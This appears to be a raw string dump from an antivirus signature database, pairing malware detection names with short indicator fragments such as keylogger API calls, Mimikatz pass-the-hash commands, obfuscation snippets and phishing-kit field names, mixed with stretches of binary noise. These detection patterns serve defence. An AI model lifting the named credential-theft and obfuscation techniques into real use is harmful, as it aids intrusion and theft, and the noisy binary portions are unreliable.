=[[],[/[!\\#]/g]]; !#SCPT:Exploit:Win32/Pdfjsc.AGC bbb0b`b```g0!w310 !#SCPT:JS/Nemucod.ReturnWscript \"returnws\"+\"cri\"+ !#SCPT:Trojan:VBS/DNSChanger.B1 /chupacabras.php? 
!#SCPT:Trojan:VBS/DNSChanger.E1 locatef s=\"http !#SCPT:Trojan:VBS/Valyria.A!sl3 functionregexists !#SCRIPT:PSExploitAPIImports.K1 getasynckeystate( !#SCRIPT:PSExploitAPIImports.K2 
getkeyboardstate( !#SCRIPT:PoshKeyloggerExclusion ninaronline.co.uk !#SCRIPT:Possible_CSharpPrivate privatestatic !#SCRIPT:PowerShell/Conqerat.C4 =readsmbresponse( 
!#SCRIPT:PowerShell/Shockley.A2 :userdnsdomain)){ !#SCRIPT:Ransom:PS/Poshkod.S001 =$_.name+'.locky' !#SCRIPT:SuspLnkFromRevobfoos.A cls&cls&cls&start '<-coco8_xxxyou-> 
!#Scpt:PS:CryptoStreamCreation4 .createdecryptor( !#Trojan:AndroidOS/OpFakeSms.D1 res/raw/bdata.dat !#Trojan:AndroidOS/OpFakeSms.D4 assets/payed.html !#Trojan:HTML/FakeAlert.C!strg4 
varphone=\"+1-888-  !#ALFPER:SCRIPT:Win32/Rutspade.A )= !#ALFPER:SCRIPT:Win32/Rutspade.A updatestarrepair  !#BRUTE:SCHTSK:Expert:Feature:38 )= !#BRUTE:SCHTSK:Expert:Feature:38 
<waketorun>false  !#BRUTE:SCHTSK:Expert:Feature:41 )= !#BRUTE:SCHTSK:Expert:Feature:41 <actionscontext=  !#Exploit:O97M/DDEDownloader.C.3 )= !#Exploit:O97M/DDEDownloader.C.3  
!#SCPT:AutoItApi_AdlibUnRegister )= !#SCPT:AutoItApi_AdlibUnRegister adlibunregister(  !#SCPT:AutoItApi_AutoItSetOption )= !#SCPT:AutoItApi_AutoItSetOption autoitsetoption(  
!#SCPT:AutoItApi_ControlGetFocus )= !#SCPT:AutoItApi_ControlGetFocus controlgetfocus(  !#SCPT:AutoItApi_ControlListView )= !#SCPT:AutoItApi_ControlListView controllistview(  
!#SCPT:AutoItApi_ControlTreeView )= !#SCPT:AutoItApi_ControlTreeView controltreeview(  !#SCPT:AutoItApi_DllCallbackFree )= !#SCPT:AutoItApi_DllCallbackFree dllcallbackfree(  
!#SCPT:AutoItApi_DllStructCreate )= !#SCPT:AutoItApi_DllStructCreate dllstructcreate(  !#SCPT:AutoItApi_DllStructGetPtr )= !#SCPT:AutoItApi_DllStructGetPtr dllstructgetptr(  
!#SCPT:AutoItApi_DriveSpaceTotal )= !#SCPT:AutoItApi_DriveSpaceTotal drivespacetotal(  !#SCPT:AutoItApi_FileGetEncoding )= !#SCPT:AutoItApi_FileGetEncoding filegetencoding(  
!#SCPT:AutoItApi_FileGetLongName )= !#SCPT:AutoItApi_FileGetLongName filegetlongname(  !#SCPT:AutoItApi_FileGetShortcut )= !#SCPT:AutoItApi_FileGetShortcut filegetshortcut(  
!#SCPT:AutoItApi_FileReadToArray )= !#SCPT:AutoItApi_FileReadToArray filereadtoarray(  !#SCPT:AutoItApi_GUICtrlGetState )= !#SCPT:AutoItApi_GUICtrlGetState guictrlgetstate(  
!#SCPT:AutoItApi_GUICtrlSetColor )= !#SCPT:AutoItApi_GUICtrlSetColor guictrlsetcolor(  !#SCPT:AutoItApi_GUICtrlSetImage )= !#SCPT:AutoItApi_GUICtrlSetImage guictrlsetimage(  
!#SCPT:AutoItApi_GUICtrlSetLimit )= !#SCPT:AutoItApi_GUICtrlSetLimit guictrlsetlimit(  !#SCPT:AutoItApi_GUICtrlSetState )= !#SCPT:AutoItApi_GUICtrlSetState guictrlsetstate(  
!#SCPT:AutoItApi_GUICtrlSetStyle )= !#SCPT:AutoItApi_GUICtrlSetStyle guictrlsetstyle(  !#SCPT:AutoItApi_IniWriteSection )= !#SCPT:AutoItApi_IniWriteSection iniwritesection(  
!#SCPT:AutoItApi_ProcessGetStats )= !#SCPT:AutoItApi_ProcessGetStats processgetstats(  !#SCPT:AutoItApi_StringTrimRight )= !#SCPT:AutoItApi_StringTrimRight stringtrimright(  
!#SCPT:AutoItApi_TrayItemGetText )= !#SCPT:AutoItApi_TrayItemGetText trayitemgettext(  !#SCPT:AutoItApi_TrayItemSetText )= !#SCPT:AutoItApi_TrayItemSetText trayitemsettext(  
!#SCPT:AutoItApi_WinGetClassList )= !#SCPT:AutoItApi_WinGetClassList wingetclasslist(  !#SCPT:NemucodQueryStr_blacklist )= !#SCPT:NemucodQueryStr_blacklist /counter/?ad=1ay /counter/?
ad=1hi /counter/?id=lrd /counter/?id=lww /counter/?id=y5p )= !#SCPT:PowerShell/EncodedCommand  !#SCPT:Trojan:JS/Obfuse.DRC3!MTB )= !#SCPT:Trojan:JS/Obfuse.DRC3!MTB 
return\"owe\"+\"rs\"  !#SCPT:Trojan:PHP/Phish.PJS4!MTB )= !#SCPT:Trojan:PHP/Phish.PJS4!MTB cardno:\".$_post[  !#SCPT:Trojan:PHP/Phish.PJS7!MTB )= !#SCPT:Trojan:PHP/Phish.PJS7!MTB 
atmpin:\".$_post[  !#SCRIPT:CmdFileOutputTaskList.B )= !#SCRIPT:CmdFileOutputTaskList.B tasklist>%temp%\\  !#SCRIPT:JS/MouseEventFunction.A )= !#SCRIPT:JS/MouseEventFunction.A 
onclick=\"  !#SCRIPT:PowerShell/ObfusNum_IEX )= !#SCRIPT:PowerShell/ObfusNum_IEX 23,5,119,123,102  !#SCRIPT:PowerShell/Poisonweb.A1 )= !#SCRIPT:PowerShell/Poisonweb.A1 $env:tmp\\  
.log  !#SCRIPT:PowerShell/PublicStatic )= !#SCRIPT:PowerShell/PublicStatic  !#TrojanDropper:VBS/Bynoco!ptb04 )= !#TrojanDropper:VBS/Bynoco!ptb04 objwshell.rundir 
!!#ALF:Exploit:Script/Krolly.A!dha )=!!#ALF:Exploit:Script/Krolly.A!dha xdeviceexploit( !!#ALF:Phish:PHP/PhishKitXodni!MTB )=!!#ALF:Phish:PHP/PhishKitXodni!MTB root@indoxploit 
!!#HackTool:Win32/Mikatz.J!dumcred )=!!#HackTool:Win32/Mikatz.J!dumcred dumpcredentials !!#LowfiTrojan:HTML/Redirector.ZZM )=!!#LowfiTrojan:HTML/Redirector.ZZM g.php?d=x\"></sc 
!!#SCPT:Exploit:HTML/Axpergle.AK.2 )=!!#SCPT:Exploit:HTML/Axpergle.AK.2 value=\"gvtrvze= )=!!#SCPT:JS/Obfuscator.Redundancy.H )))*1)== )=!!#SCPT:JS/Obfuscator.Split.eval.A 
\"e\",\"v\",\"a\",\"l\" )=!!#SCPT:JS/Obfuscator.TEMPFolder.A \"%tem\" !!#SCPT:JsMethodFunc_dispatchevent )=!!#SCPT:JsMethodFunc_dispatchevent .dispatchevent( 
!!#SCPT:JsMethodFunc_getutcminutes )=!!#SCPT:JsMethodFunc_getutcminutes .getutcminutes( !!#SCPT:JsMethodFunc_getutcseconds )=!!#SCPT:JsMethodFunc_getutcseconds .getutcseconds( 
!!#SCPT:JsMethodFunc_isprototypeof )=!!#SCPT:JsMethodFunc_isprototypeof .isprototypeof( !!#SCPT:JsMethodFunc_localecompare )=!!#SCPT:JsMethodFunc_localecompare .localecompare( 
!!#SCPT:JsMethodFunc_setutcminutes )=!!#SCPT:JsMethodFunc_setutcminutes .setutcminutes( !!#SCPT:JsMethodFunc_setutcseconds )=!!#SCPT:JsMethodFunc_setutcseconds .setutcseconds( 
!!#SCPT:JsMethodFunc_toexponential )=!!#SCPT:JsMethodFunc_toexponential .toexponential( !!#SCPT:O97M/ObfShellLaunch.C!amsi )=!!#SCPT:O97M/ObfShellLaunch.C!amsi @pwsh 
!!#SCPT:Phish:PHP/Url_IndexHtml.GG )=!!#SCPT:Phish:PHP/Url_IndexHtml.GG url=index.html? !!#SCPT:Ransom:BAT/CruelCrypt.Pra3 )=!!#SCPT:Ransom:BAT/CruelCrypt.Pra3 del/s/q*.sister 
!!#SCPT:Trojan:HTML/Phish.DRD4!MTB )=!!#SCPT:Trojan:HTML/Phish.DRD4!MTB viewpdfdocument !!#SCRIPT:DynamicInvoke_ExecStager )=!!#SCRIPT:DynamicInvoke_ExecStager 
.executestager( !!#SCRIPT:FlashExp_check_spray_exp )=!!#SCRIPT:FlashExp_check_spray_exp check_spray_exp )=!!#SCRIPT:JS/BlacoleRefLowfi.Frag3 =0;try{;}catch( 
)=!!#SCRIPT:PowerShell/Invoke-Apex.B invoke-download !!#SCRIPT:PowerShell/Macroburst.J1 )=!!#SCRIPT:PowerShell/Macroburst.J1 get-azvm-status !!#SCRIPT:PowerShell/Macroburst.R2 
)=!!#SCRIPT:PowerShell/Macroburst.R2 new-azureaduser !!#SCRIPT:Python/PyInputKeyboard.A )=!!#SCRIPT:Python/PyInputKeyboard.A pynput.keyboard !!#SCRIPT:Trojan:VBS/Startpage.G.2 
)=!!#SCRIPT:Trojan:VBS/Startpage.G.2 ifext=\"lnk\"then !!#SCRIPT:Worm:AutoIt/YahLover.R.2 )=!!#SCRIPT:Worm:AutoIt/YahLover.R.2 send(\"^v{enter} !!#Trojan:BAT/CryptReplDow.AE3!MTB 
)=!!#Trojan:BAT/CryptReplDow.AE3!MTB taskkill/t/f/im \"!#SCPT:GeneralityExploitStrRare.AI )=\"!#SCPT:GeneralityExploitStrRare.AI voucher \"!#SCPT:GeneralityExploitStrRare.AZ 
)=\"!#SCPT:GeneralityExploitStrRare.AZ spray struct \"!#SCPT:JS/Obfuscator.Decimal.var.A )=\"!#SCPT:JS/Obfuscator.Decimal.var.A 118,97,114,32, )=\"!#SCPT:JS/Obfuscator.InnerScript.F 
)=\"!#SCPT:JS/Obfuscator.Split.MSXML.A msxm\"+\" \"!#SCPT:JS/Obfuscator.Split.floor.A )=\"!#SCPT:JS/Obfuscator.Split.floor.A flo\"+\"o \"!#SCPT:JS/Obfuscator.hex.WScript.A 
)=\"!#SCPT:JS/Obfuscator.hex.WScript.A 57736372697074 \"!#SCPT:Phish:PHP/Freakzbrothers.GG )=\"!#SCPT:Phish:PHP/Freakzbrothers.GG freakzbrothers 
\"!#SCPT:Phish:PHP/PhishPageXodni.B1 )=\"!#SCPT:Phish:PHP/PhishPageXodni.B1 inc/config.php \"!#SCPT:StringConcat!DownloadFile.B )=\"!#SCPT:StringConcat!DownloadFile.B =\"ile('http:// 
\"!#SCPT:Trojan:HTML/Phish.PYHI2!MTB )=\"!#SCPT:Trojan:HTML/Phish.PYHI2!MTB dhakan:dhakan, \"!#SCPT:Trojan:JS/IFrameXross.A!ib3 )=\"!#SCPT:Trojan:JS/IFrameXross.A!ib3 onload=alert() 
\"!#SCPT:Trojan:PowerShell/PSImage.D )=\"!#SCPT:Trojan:PowerShell/PSImage.D -bor($p.g-band \"!#SCRIPT:HTML/TechMsgFakeActions.J )=\"!#SCRIPT:HTML/TechMsgFakeActions.J 
todiagnoseyour \"!#SCRIPT:Worm:JS/Pouteriona_Baslik )=\"!#SCRIPT:Worm:JS/Pouteriona_Baslik var=cek=baslik \"!#TrojanDownloader:JS/Nemucod4!MTB 
)=\"!#TrojanDownloader:JS/Nemucod4!MTB =\"appendchunk\" \"!#TrojanDownloader:JS/Vjworm.A!al1 )=\"!#TrojanDownloader:JS/Vjworm.A!al1 \"hkcu\\\\vjw0rm\" 
\"!#TrojanDownloader:JS/Vjworm.A!al3 )=\"!#TrojanDownloader:JS/Vjworm.A!al3 createshortcut \"!#Worm:VBS/Jenxcus.codedbynj!Lowfi )=\"!#Worm:VBS/Jenxcus.codedbynj!Lowfi '<[codedbynj]> 
#!#SCPT:Backdoor:ASP/Dirtelti.G5!MTB )=#!#SCPT:Backdoor:ASP/Dirtelti.G5!MTB arguments=\"/c #!#SCPT:Backdoor:ASP/Dirtelti.J2!MTB )=#!#SCPT:Backdoor:ASP/Dirtelti.J2!MTB enjoyhacking! 
#!#SCPT:GeneralityExploitStrCommon.G )=#!#SCPT:GeneralityExploitStrCommon.G typeconfusion #!#SCPT:GeneralityExploitStrCommon.W )=#!#SCPT:GeneralityExploitStrCommon.W 
)=#!#SCPT:GeneralityExploitStrCommon.X payload )=#!#SCPT:JS/Obfuscator.HexMixed.cmd.A \\u0063\\u006dd \\u0063m\\u0064 c\\u006d\\u0064 )=#!#SCPT:JS/Obfuscator.HexMixed.run.A 
\\u0052\\u0075n \\u0052u\\u006e r\\u0075\\u006e #!#SCPT:Phish:PHP/Domcheck_AtO365.GG )=#!#SCPT:Phish:PHP/Domcheck_AtO365.GG '@office365.' #!#SCPT:Schopets!ReverseWscriptShell 
)=#!#SCPT:Schopets!ReverseWscriptShell llehs.tpircsw #!#SCRIPT:Exploit:JS/CVE-2014-4095-5 )=#!#SCRIPT:Exploit:JS/CVE-2014-4095-5 location.href )=#!#SCRIPT:PowerShell/Mikatz!commands 
kerberos::ptc kerberos::ptt kerberos::tgt sekurlsa::msv sekurlsa::pth sekurlsa::ssp #!#SCRIPT:Ransom:Win32/Stampado_Kill )=#!#SCRIPT:Ransom:Win32/Stampado_Kill taskkill/f/fi 
)=#!#SCRIPT:Ransom:Win32/Stampado_Name stampado_kill #!#SCRIPT:VirTool:JS/Obfuscator.GO-4 )=#!#SCRIPT:VirTool:JS/Obfuscator.GO-4 varrtwa,rtwb= 
)=#!#SCRIPT:Worm:Win32/Gamarue.gen!lnk .001,rundll32 .nil,rundll32 .xxc,rundll32 )=#!#Script:Trojan:JS/Certor.A!Taskill #!#Trojan:AutoIt/AgentTesla.SP14!MTB 
)=#!#Trojan:AutoIt/AgentTesla.SP14!MTB 2022352229\")) #!#TrojanDownloader:VBS/Genbhv.G!gc1 )=#!#TrojanDownloader:VBS/Genbhv.G!gc1 $!#SCPT:CodeOnly.RpivotClientServer.A 
)=$!#SCPT:CodeOnly.RpivotClientServer.A id_by_socket $!#SCPT:Trojan:PowerShell/Shelliece.3 )=$!#SCPT:Trojan:PowerShell/Shelliece.3 +0]*16777216 $!#SCPT:Trojan:PowerShell/Shelliece.6 
)=$!#SCPT:Trojan:PowerShell/Shelliece.6 seterrormode $!#SCPT:TrojanDropper:O97M/Obfuse.DD1 )=$!#SCPT:TrojanDropper:O97M/Obfuse.DD1 importsocket 
)=$!#SCRIPT:TrojanDownloader:JS/Rusem.2 svchost.like $!#TrojanDownloader:JS/Nemucod!6fbd_2 )=$!#TrojanDownloader:JS/Nemucod!6fbd_2 /cpowershell 
%!#SCPT:Backdoor:ASP/b374kShell.A3!MTB )=%!#SCPT:Backdoor:ASP/b374kShell.A3!MTB ?dir=\"&xcwd  %!#SCPT:JS/Obfuscator.Redundancy.new.A 
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11882.CS2 )=%!#SCPT:Trojan:O97M/CVE-2017-11882.CS2 \\objautlink  %!#SCPT:TrojanDownloader:JS/Banload.M2 )=%!#SCPT:TrojanDownloader:JS/Banload.M2 =keycount(\"  
%!#SCPT:TrojanDownloader:JS/Nemucod.Z5 )=%!#SCPT:TrojanDownloader:JS/Nemucod.Z5 [0]-3!=74||  %!#SCRIPT:TrojanDownloader:VBS/Rtbot.A )=%!#SCRIPT:TrojanDownloader:VBS/Rtbot.A 
\\booter.dat  %!#Trojan:PowerShell/Paliza.A!lnk_Dhs3 )=%!#Trojan:PowerShell/Paliza.A!lnk_Dhs3 -literalpat  &!#Obfuscator:VBS/JenxcusDZCLOVER!Lowfi 
)=&!#Obfuscator:VBS/JenxcusDZCLOVER!Lowfi dzclover=\" &!#SCPT:Exploit:Win32/ShellLikeHexStr.3 )=&!#SCPT:Exploit:Win32/ShellLikeHexStr.3 fe0e8eafff 
&!#SCPT:TrojanDownloader:JS/Nemucod.IC4 )=&!#SCPT:TrojanDownloader:JS/Nemucod.IC4 =[\"http:// )=&!#SCPT:TrojanDownloader:JS/Nemucod.SC1 this[\"\\145 this[\"\\x65 
)=&!#SCPT:TrojanDownloader:JS/Nemucod.SC3 \"](\"\\u0043 )=&!#SCPT:TrojanDownloader:JS/Nemucod.SC4 \"](\"\\u006e &!#SCPT:TrojanDownloader:JS/Nemucod.val 
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)='!#SCPT:TrojanDownloader:VBS/Banload.BT3 .runxxyyr '!#SCPT:TrojanDownloader:VBS/Donvibs.CM3 )='!#SCPT:TrojanDownloader:VBS/Donvibs.CM3 filedata= 
'!#SCPT:TrojanDownloader:VBS/Donvibs.CS2 )='!#SCPT:TrojanDownloader:VBS/Donvibs.CS2 '!#SCRIPT:Exploit:Win32/CVE-2012-4792-B1 )='!#SCRIPT:Exploit:Win32/CVE-2012-4792-B1 exploit() 
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2=)Uh =!_x4] \\x/tV  \\x/tV  \\y@, \\z(ic1+j  \\z(ic1+j  \\~S]  \\~lY y.ri\t& R~z<4%t ke-3; y+FB:::  Mg4MF aM/nPP '3E<` %9\"bK 5(8@y L~ jz QO2`C 7)>eJ v[BTB5\t pL/63 p<] 4; _ [yC 
RIBUTE:SIGA:Trojan:MSIL/FakeApp.S001 !#ATTRIBUTE:SIGA:Trojan:MSIL/FakeApp.S001 !#SIGA:TrojanDownloader:MSIL/Genmaldow.SA !#//JAVATTR:JavaObRandom2 
!#//JAVATTR:JavaObRandom2  !#SIGATTR:IEDefaultChkOff !#SIGATTR:PhishingDisable !#SIGATTR:Win32/Small.gen !AGroup:RenosKG_regvalues !#SIGATTR:JS:blistjs_api1 
!#SIGATTR:JS:blistjs_api2 !#SIGATTR:JS:blistjs_api3 !#SIGATTR:JS:blistjs_api4 !#SIGATTR:JS:blistjs_api6 !#SIGATTR:JS:blistjs_api7 !#//JAVATTR:JavaJustInetAddressgetHostName 
!#//SIGATTR:CVE-2012-0507.AtRefArrArgument !#SIGATTR:Java:AbstractDocument.readUnlock !#SIGATTR:Java:AccessController.getContext !#SIGATTR:Java:AtomicReferenceArray.length 
!#SIGATTR:Java:BufferedImage.getColorModel !#SIGATTR:Java:ByteArrayOutputStream.close !#SIGATTR:Java:ByteArrayOutputStream.reset !#SIGATTR:Java:ByteArrayOutputStream.write 
!#SIGATTR:Java:Collections.synchronizedMap !#SIGATTR:Java:Collections.unmodifiableMap !#SIGATTR:Java:Collections.unmodifiableSet !#SIGATTR:Java:Container.getComponentCount 
!#SIGATTR:Java:DataOutputStream.writeShort !#SIGATTR:Java:GroupLayout.addContainerGap !#SIGATTR:Java:IIOMetadataNode.appendChild !#SIGATTR:Java:IOException.printStackTrace 
+$X@? !#SIGATTR:Java:JMenuItem.addActionListener (UK@? !#SIGATTR:Java:Kernel32.CreateRemoteThread !#SIGATTR:Java:Kernel32.WriteProcessMemory 
!#SIGATTR:Java:LookAndFeel.installProperty !#SIGATTR:Java:ObjectOutputStream.writeInt !#SIGATTR:Java:ParsedSynthStyle.getPainter !#SIGATTR:Java:Raster.createWritableRaster 
!#SIGATTR:Java:StringTokenizer.countTokens !#SIGATTR:Java:SynthStyle.getGraphicsUtils !#SIGATTR:Java:ZipInputStream.getNextEntry !#SIGATTR:TrojanDownloader:Win32/Badrobo.A 
!#Sigattr:BrowserModifier:Win32/Diplugem.A !#PUA:Block:PremierOpinion !#Ransom:Win32/Tobfy!LowFi !#SIGATTR:FindWindowRegMon !#SIGATTR:LowFiSkypeWindow 
!#SIGATTR:UpatreMutexMerak !#SIGATTR:Win32/WhiteSmoke !AGROUP:RunKeyOrCopyItself !AGroup:FakeRean_regvalues !AGroup:GetHDDSerialNumber !#ALF:SIGA:MSIL.FAKEIE.S01 
!#PUA:Block:AdvancedPCCare !#TEL:MSIL/Cusax.gen!A!Msg !#NRI:HasRequestResponse.A !#AddsCopyToStartupSelfDel !#//JAVATTR:JavaJustInetAddressgetLocalHost 
!#SIGATTR:Java:BufferedImage.createGraphics 9[F@@ !#SIGATTR:Java:Class.desiredAssertionStatus !#SIGATTR:Java:Class.getDeclaredConstructor 3VI@@ 
!#SIGATTR:Java:Collections.unmodifiableList !#SIGATTR:Java:ExpressionHelper.addListener !#SIGATTR:Java:GridBagLayout.setConstraints !#SIGATTR:Java:IIOMetadataNode.setAttribute 
!#SIGATTR:Java:InetSocketAddress.getAddress !#SIGATTR:Java:JComponent.getClientProperty !#SIGATTR:Java:NamingException.setRootCause !#SIGATTR:Java:ObjectInputStream.readFields 
!#SIGATTR:Java:ObjectInputStream.readObject !#SIGATTR:Java:ObjectOutputStream.putFields !#SIGATTR:Java:ParamChecks.nullNotPermitted !#SIGATTR:Java:RMIConnectionImpl_Stub.class 
!#SIGATTR:Java:SecurityManager.checkConnect !#SIGATTR:Java:SynthLookAndFeel.updateStyle !#SIGATTR:Java:SynthStyle.uninstallDefaults !#SIGATTR:Java:TabbedPaneTabPainter.decodeX 
!#SIGATTR:Java:TabbedPaneTabPainter.decodeY !#SIGATTR:Java:Thread.getContextClassLoader >7=@@ !#SIGATTR:Java:URLConnection.getInputStream P%Y75 
!#SIGATTR:Java:WritableRaster.getDataBuffer !#SIGATTR:Java:X509Certificate.getPublicKey !#SIGATTR:Java:_RMIConnectionImpl_Tie.class !#ALF:SIGA:Trojan:MSIL/SuspiciousPingBeh.S6 
!#ALF:SIGATTR:Inject_attrib !#BM_SIGATTR:OptimizerElite !#SIGATTR:FindWindowFileMon !#SIGATTR:FindWindowProcMon !#SIGATTR:MpLoadsKernelFile !#SIGATTR:NT_ENUM_VALUE_KEY 
!#SIGATTR:Tool:Win32/Py2Exe !AGroup:MoveSystemFileToAny !#SIGATTR:JSErrorDocument.A !#SIGATTR:JSWScriptIpconfig !#SIGATTR:CreateRunKey!msil !r`-^i 
!#//JAVATTR:JavaJustByteArrayInputStreaminit !#SIGATTR:Java:AccessController.doPrivileged !#SIGATTR:Java:Constructor.getParameterTypes !#SIGATTR:Java:CopyOnWriteArrayList.getArray 
P2[+, !#SIGATTR:Java:GregorianCalendar.internalGet z>e@A !#SIGATTR:Java:HttpURLConnection.setDoOutput !#SIGATTR:Java:Integer.numberOfTrailingZeros 
!#SIGATTR:Java:JOptionPane.showMessageDialog !#SIGATTR:Java:OptionPanePainter.decodeColor !#SIGATTR:Java:PropertyChangeEvent.getSource 
!#SIGATTR:Java:RTFGenerator.writeControlWord !#SIGATTR:Java:RoundRectangle2D.setRoundRect !#SIGATTR:Java:StringTokenizer.hasMoreTokens 
!#SIGATTR:Java:TreePath.getLastPathComponent !#Lowfi:SIGATTR:TrojanClickerClikugInstaller !#SIGATTR:TrojanDownloader:MSIL/Pstinb.M!lnk !#SIGATTR:TrojanDownloader:Win32/Banload.AZQ 
!#SIGATTR:TrojanDownloader:Win32/Banload.ZET !#SIGATTR:JS:ExpandEnvironmentStrings.Base64 !#ATTRIBUTE:SIGA:MISL:PossibleKillProcess:S1 !#SIGATTR:Java:B64Decoding.A 
!#ALFPER:SIGATTR:Win32/Chira !#Lowfi:SIGATTR:Win32/Bitral !#SIGATTR:DownloadAndExecute !#SIGATTR:Download_exec_nssd !#SIGATTR:Env_XtratWriteFile !#SIGATTR:Env_XtratWriteFile  
!#SIGATTR:FirewallBypassList !#SIGATTR:FirewallBypassList  !#SIGATTR:PWS:Win32/Colste.A !#SIGATTR:PWS:Win32/Colste.A  !#SIGATTR:PossibleCopaliDrop !#SIGATTR:Reg_DelProxyServer 
0;BYJ !#SIGATTR:Reg_SetProxyEnable !#SIGATTR:Virus:Win32/Ceel.A !#SIGATTR:Virus:Win32/Ceel.A*0!0 !#SIGATTR:Worm:Win32/Kolab.B !#SIGATTR:Worm:Win32/Kolab.B*0 0 
!#Trojan:Win32/Foosace.H!dha !AGroup:Banload_exe_location !AGroup:MSIL/Banload.AK!path !#NRI:Dirtvantisetu.20210830 !#NRI:Dirtvantizeni.20210830 !#NRI:Dirtvantufiet.20210830 
!#Trojan:Win32/Broban.A!lofi !#LowfiVBox2 !DeepEmuStop !#//SIGATTR:CVE-2013-0422.invokeWithArguments S=<@B !#SIGATTR:Java:CertificateFactory.getInstance 
!#SIGATTR:Java:CoderResult.malformedForLength !#SIGATTR:Java:EventListenerList.getListeners !#SIGATTR:Java:GraphicsEnvironment.isHeadless b 1@B 
!#SIGATTR:Java:JarInputStream.getNextJarEntry >Co@B !#SIGATTR:Java:MethodHandles.findStaticSetter !#SIGATTR:Java:NoClassDefFoundError.initCause 
!#SIGATTR:Java:ObjectOutputStream.writeFields !#SIGATTR:Java:ObjectOutputStream.writeObject !#SIGATTR:Java:ProtectionDomain.getCodeSource 
!#SIGATTR:Java:SliderThumbPainter.decodeColor !#SIGATTR:Java:StackTraceElement.getClassName P(*~{ !AGroup:CVE-2012-0422.PayloadNewClassInstance 
!#SIGATTR:BrowserModifier:Win32/Neobar.A!json !#TEL:SIGATTR:Tool:Win32/CmdNetFwStOpModDis.A !#Lowfi:SIGATTR:Win32/Wdfload !#SIGATTR:Adware:Win32/EoRezo 
!#SIGATTR:NativeDynamicImport !#SIGATTR:NativeDynamicImportJ0\t !#SIGATTR:Program:Win32/KNCTR !#SIGATTR:Reg_ActiveSetupASEP !#SIGATTR:Run_BailOnDriveType 
!#SIGATTR:TrojanSefnit_packer !AGroup:ALFPER:BamvledsA_Urls !AGroup:Ldpinch_B_FirewallWND !#TEL:Exploit:JS/Nelyde.B!dha !#ALF:Ransom:MSIL/Penta.B!MTB 
!#//SIGATTR:Java.doPrivileged !#HttpRequest !#//SIGATTR:CVE-2013-0422.getMBeanInstantiator !#SIGATTR:Java:AudioFormat.getSampleSizeInBits 3NPN3 P3NPN3@C 
!#SIGATTR:Java:BasicFavoritesNavigatorUI.debug !#SIGATTR:Java:BorderFactory.createEmptyBorder !#SIGATTR:Java:ClassLoader.getResourceAsStream 'Ix@C 
!#SIGATTR:Java:CoderResult.unmappableForLength !#SIGATTR:Java:ColorModel.isAlphaPremultiplied !#SIGATTR:Java:ExpressionHelper.removeListener 
!#SIGATTR:Java:IllegalAccessException.toString !#SIGATTR:Java:KeyboardFocusManager.getCurrent !#SIGATTR:Java:OptionPanePainter.decodeAnchorX 
!#SIGATTR:Java:OptionPanePainter.decodeAnchorY !#SIGATTR:Java:PropertyChangeEvent.getNewValue !#SIGATTR:Java:PropertyChangeEvent.getOldValue 
!#SIGATTR:Java:SecurityManager.checkPermission !#SIGATTR:Java:StackTraceElement.getMethodName !#SIGATTR:Java:User32.GetWindowThreadProcessId P+dJ& 
!#SIGATTR:Java:X509Certificate.getSerialNumber !#ALF:SIGATTR:PossibleMeterpreter_http4444port !#TEL:Trojan:Win32/LowFiContextRundllAppdata.A !#ALF:Trojan:Win32/Qbot.ZX!MTB 
!#SIGATTR:CeeInject_MyAppCheck !#SIGATTR:DisableGoogleUpdate1 !#SIGATTR:DisableGoogleUpdate2 !#SIGATTR:DisableGoogleUpdate3 !#SIGATTR:FindFirstFileAppData 
!#SIGATTR:GetSystemTimeBailout !#SIGATTR:Program:Win32/Kometa !#SIGATTR:Reg_SetManualProxies 0JM+D !#SIGATTR:Virus:Win32/Virut.BN !#SIGATTR:Virus:Win32/Virut.BN $0 
!#SLFPER:EnumWindowHandleCount !#ALF:Ransom:MSIL/Fancy.MK!MTB !#ALF:SIGA:MSIL/WeirdNameApp.A !#ALF:SIGA:MSIL/WeirdNameApp.B !#ALF:SIGA:MSIL/WeirdNameApp.C 
!#ALF:SIGA:MSIL/WeirdNameApp.D !#ALF:SIGA:MSIL/WeirdNameApp.E !#ALF:SIGA:MSIL/WeirdNameApp.F !#ALF:SIGA:MSIL/WeirdNameApp.G !#ALF:SIGA:MSIL/WeirdNameApp.H 
!#ALF:SIGA:MSIL/WeirdNameApp.I !#ALF:SIGA:MSIL/WeirdNameApp.J !#ALF:SIGA:MSIL/WeirdNameApp.K !#ALF:SIGA:MSIL/WeirdNameApp.L !#ALF:SIGA:MSIL/WeirdNameApp.M 
!#ALF:SIGA:MSIL/WeirdNameApp.N !#ALF:SIGA:MSIL/WeirdNameApp.O !#ALF:SIGA:MSIL/WeirdNameApp.P !#ALF:SIGA:MSIL/WeirdNameApp.Q !#ALF:SIGA:MSIL/WeirdNameApp.R 
!#ALF:SIGA:MSIL/WeirdNameApp.S !#ALF:SIGA:MSIL/WeirdNameApp.T !#ALF:SIGA:MSIL/WeirdNameApp.U !#ALF:SIGA:MSIL/WeirdNameApp.V !#ALF:SIGA:MSIL/WeirdNameApp.W 
!#ALF:SIGA:MSIL/WeirdNameApp.X !#ALF:SIGA:MSIL/WeirdNameApp.Y !#ALF:SIGA:MSIL/WeirdNameApp.Z !#ATTRIBUTE:SIGA:MISL lerated-video-decode >--disable-accelerated-2d-canvas 4--
disable-gl-multisampling &/prefetch:673131151 (forcecompositingmode !#ALF:AMSI3:ML:Vba:70 !#ALF:AMSI3:ML:Vba:80 !#ALF:AMSI3:ML:Vba:90 !#ALF:AMSI3:ML:Vba:95 !#ALF:AMSI3:ML:Vba:98 
!#ALF:AMSI3:ML:Vba:99 !#PowerShell/PsGetClipboard.A !#//BM_OFFICE_FILE_CONTAINER !#Win32/LnkFileWithCscript.A  !#Win32/LnkFileWithCscript.A !#Win32/LnkFileWithWscript.A  
!#Win32/LnkFileWithWscript.A !#ALF:AMSI3:ML:Jamsi:90 ,!#ALF:AMSI3:ML:Jamsi:90 !#ALF:AMSI3:ML:Jamsi:95 ,!#ALF:AMSI3:ML:Jamsi:95 !#ALF:AMSI3:ML:Jamsi:98 ,!#ALF:AMSI3:ML:Jamsi:98 
!#ALF:AMSI3:ML:Jamsi:99 ,!#ALF:AMSI3:ML:Jamsi:99 !#ALF:Trojan:UEFI/Lotoob.B 5!#ALF:Trojan:UEFI/Lotoob.B !#TEL:AGGR:ExpDatObjLnch :!#TEL:AGGR:ExpDatObjLnch 
!#TEL:AGGR:ContextualPersistDropNewExePe.gen!A Y.'!#TEL:AGGR:ContextualPersistDropNewExePe.gen!A !#ALF:Win32/VBScriptWithWmiObject.A ]#6!#ALF:Win32/VBScriptWithWmiObject.A 
